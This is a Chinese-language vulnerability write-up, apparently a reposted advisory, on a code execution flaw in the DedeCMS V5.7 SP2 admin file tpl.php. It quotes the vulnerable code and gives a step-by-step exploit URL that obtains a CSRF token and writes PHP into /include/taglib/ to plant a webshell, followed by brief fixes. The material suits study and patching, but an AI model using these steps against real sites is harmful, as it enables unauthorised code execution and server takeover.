DedeCMS V5.7 SP2后台存在代碼執行漏洞


簡介 

織夢內容管理系統(DedeCms)是一款PHP開源網站管理系統。

DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞,攻擊者可利用該漏洞在增加新的標簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網下載的DedeCMS V5.7 SP2版本程序,截至發稿,漏洞依然存在。

漏洞詳情

織夢默認的后台地址是/dede/,當然也可以被更改,到時候根據網站具體情況替換默認后台地址即可。

dede/tpl.php中第251行到281行

 

csrf_check();

if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) {     ShowMsg('文件名不合法,不允許進行操作!', '-1');     exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#\.lib\.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp);

1.由於dedecms全局變量注冊的特性,所以這里的content變量和filename變量可控。

2.可以看到將content直接寫入到文件中導致可以getshell。但是這里的文件名經過正則表達式,所以必須要.lib.php結尾。

注意: 這里還有一個csrf_check()函數,即請求中必須要帶token參數。

漏洞利用

1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面源代碼中獲取到token值 

token.jpg

然后訪問 

域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值

moonsec.jpg 

shell:

域名 + /include/taglib/moonsec.lib.php

shell.jpg

漏洞修復

 

1.禁止此處寫入文件。

2.過濾惡意標簽

參考鏈接

http://www.cnvd.org.cn/flaw/show/CNVD-2018-01221


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM